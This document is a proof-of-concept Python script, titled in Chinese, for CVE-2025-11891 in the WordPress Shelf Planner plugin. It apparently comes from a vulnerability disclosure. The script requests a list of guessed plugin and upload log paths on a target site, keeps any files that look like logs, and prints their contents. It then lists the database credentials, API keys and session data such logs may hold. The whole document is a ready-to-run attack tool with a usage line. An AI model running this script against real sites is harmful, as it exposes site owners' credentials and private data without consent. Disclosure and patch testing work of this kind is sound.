CVE-2025-11891: WordPress Shelf Planner插件敏感信息泄露漏洞

# CVE-2025-11891 PoC - Sensitive Information Exposure via Log Files # Target: WordPress Shelf Planner Plugin <= 2.8.1 # Author: Security Researcher # Description: This PoC demonstrates how to access exposed log files import requests import sys from urllib.parse import urljoin def check_vulnerability(target_url): """ Check if the target is vulnerable to CVE-2025-11891 """ # Common log file paths that might be exposed log_paths = [ '/wp-content/plugins/shelf-planner/logs/debug.log', '/wp-content/plugins/shelf-planner/logs/error.log', '/wp-content/plugins/shelf-planner/logs/shelf-planner.log', '/wp-content/uploads/shelf-planner/debug.log', '/wp-content/uploads/shelf-planner/logs/debug.log', '/wp-content/debug.log', '/wp-content/uploads/shelf-planner.log', '/wp-content/plugins/shelf-planner/log.txt' ] print(f"[*] Testing target: {target_url}") print(f"[*] Checking for exposed log files...") vulnerable = False exposed_logs = [] for log_path in log_paths: full_url = urljoin(target_url, log_path) try: response = requests.get(full_url, timeout=10, verify=False) if response.status_code == 200: content = response.text # Check if the response contains log-like content if any(keyword in content.lower() for keyword in ['error', 'warning', 'debug', 'exception', 'stack trace', 'sql', 'query', 'wordpress', 'php', 'mysql']): print(f"[+] VULNERABLE: {full_url}") print(f" Content length: {len(content)} bytes") exposed_logs.append({ 'url': full_url, 'size': len(content), 'preview': content[:500] }) vulnerable = True else: print(f"[*] Found file (not log): {full_url}") except requests.exceptions.RequestException as e: print(f"[-] Error accessing {full_url}: {e}") if vulnerable: print(f"\n[!] Target is VULNERABLE to CVE-2025-11891") print(f"[!] Found {len(exposed_logs)} exposed log files") # Display first 500 chars of first exposed log if exposed_logs: print("\n[*] Sample log content (first 500 chars):") print("-" * 50) print(exposed_logs[0]['preview']) print("-" * 50) else: print("\n[-] Target does not appear to be vulnerable") return vulnerable, exposed_logs def main(): if len(sys.argv) < 2: print("Usage: python cve-2025-11891-poc.py <target_url>") print("Example: python cve-2025-11891-poc.py http://example.com") sys.exit(1) target = sys.argv[1].rstrip('/') vulnerable, logs = check_vulnerability(target) # Save results if vulnerable: print(f"\n[*] Review the exposed logs for sensitive information") print("[*] Possible sensitive data includes:") print(" - Database credentials") print(" - API keys and tokens") print(" - File paths and server configuration") print(" - User session information") print(" - Debug information") if __name__ == '__main__': main()